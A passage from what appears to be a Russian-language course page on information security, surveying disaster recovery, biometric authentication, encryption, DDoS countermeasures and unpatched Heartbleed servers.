    Рис. 12. Схема системы восстановления системы после аварии или атаки (взято из статьи FalconStor Software, Inc.)

    В статье "RecoverTrac™ v2.0: Service-Oriented Disaster Recovery". Technical White Paper. FalconStor Software, Inc. дается обзор проблемы восстановления на примере решения RecoverTrac.

    Активные разработки в последнее время ведутся в области систем идентификации, базирующихся на распознавания отпечатков пальцев, ладони, подписи, голоса или радужки глаз. Для этих целей используются новейшие достижения в области быстрых Фурье-преобразований, нейронных сетей и пр. В качестве вводных устройств используются оптические сканеры, а также резистивные экраны. Для ввода подписи служат специальные планшеты, а также изощренные методы сравнения и установления идентичности. К числу таких устройств следует отнести также генераторы разовых ключей доступа и карты доступа. В последнее время в этот ряд встали и мобильные телефоны, которые позволяют идентифицировать владельца (здесь имеются в виду многопараметрические системы аутентификации).

    Так как современные системы шифрования предполагают использование довольно трудоемких вычислений, которые заметно замедляют процесс, разрабатываются специальные микросхемы. Такие системы могут использоваться, например, в VPN. При этом ключи могут быть встроенными или внешними. В некоторых особо важных случаях применяется криптографическая защита всего диска FDE (Full Disc Encription) на самой машине.

    Проблема защиты информации подталкивает к криптографической защите данных практически на всех носителях. Но такая защита требует более надежных паролей. Надежным паролем сегодня считается строка, содержащая 10-12 символов (а еще лучше 20). Планируется также шифровать весь Интернет-трафик. Это особенно важно при работе с беспроводными каналами. Настоятельно рекомендуется шифровать все почтовые сообщения, все обмены реального времени, а также документы Word, Exel, PowerPoint и pdf-файлы. Вообще говоря, будет правильно, если вы будете шифровать все, включая мультимедиа

    Меры защиты от DDoS-атак

    Рост числа DDoS-атак вынуждает всех пользователей Интернет задуматься о средствах противодействия этим атакам. Это могут быть:

    Ряд поставщиков, таких как Arbor Networks, Check Point Software Technologies, Fortinet, и другие, например, NeuStar предлагают оборудование и программы, которые могут помочь решить эту проблему. Эти средства распознают атаку по определенным сигнатурам, но являются сложными и достаточно дорогими. Однако эти устройства могут детектировать факт атаки и, если требуется полностью или частично ее блокировать.

    Эти приборы нуждаются также в постоянном квалифицированном обслуживании.

    Возможным способом ослабления DDoS атак может быть использование облака или CDN (Content Delivery Network).

    Согласно докладу "The 2013 Trustwave Global Security Report" из 450 уязвимостей данных 63% связано с компонентами, разработанными сторонними организациями. Это, разумеется, не означает, что любой аутсорсинг плох, но этот факт полезно держать в голове принимая то или иное решение.

    Меры противодействия атакам

    Иметь политику безопасности, известную всем сотрудникам предприятия.


    Не всегда и не везде имеются люди, способные предотвратить ту или иную угрозу. Так даже спустя полгода после выявления и публикации данных об уязвимости Heartbleed 300000 WEB-сайтов остались необновленными и уязвимыми. Для таких организаций может оказаться полезным сервис SECaaS. Следует ожидать, что эта уязвимость будет стимулировать переход с алгоритма SHA-1 на SH-2. На рис. 13 показаны разные тактики детектирования атак и вторжений.

    Рис. 13. Тактики детектирования атак


    Ссылки


    Previous: 6.3.1 Обзор уязвимостей, некоторых видов атак и средств защиты    UP: 6.3 Система Firewall
        Next: 6.3.3 Атаки из перечня сигнатур BlackIce Defender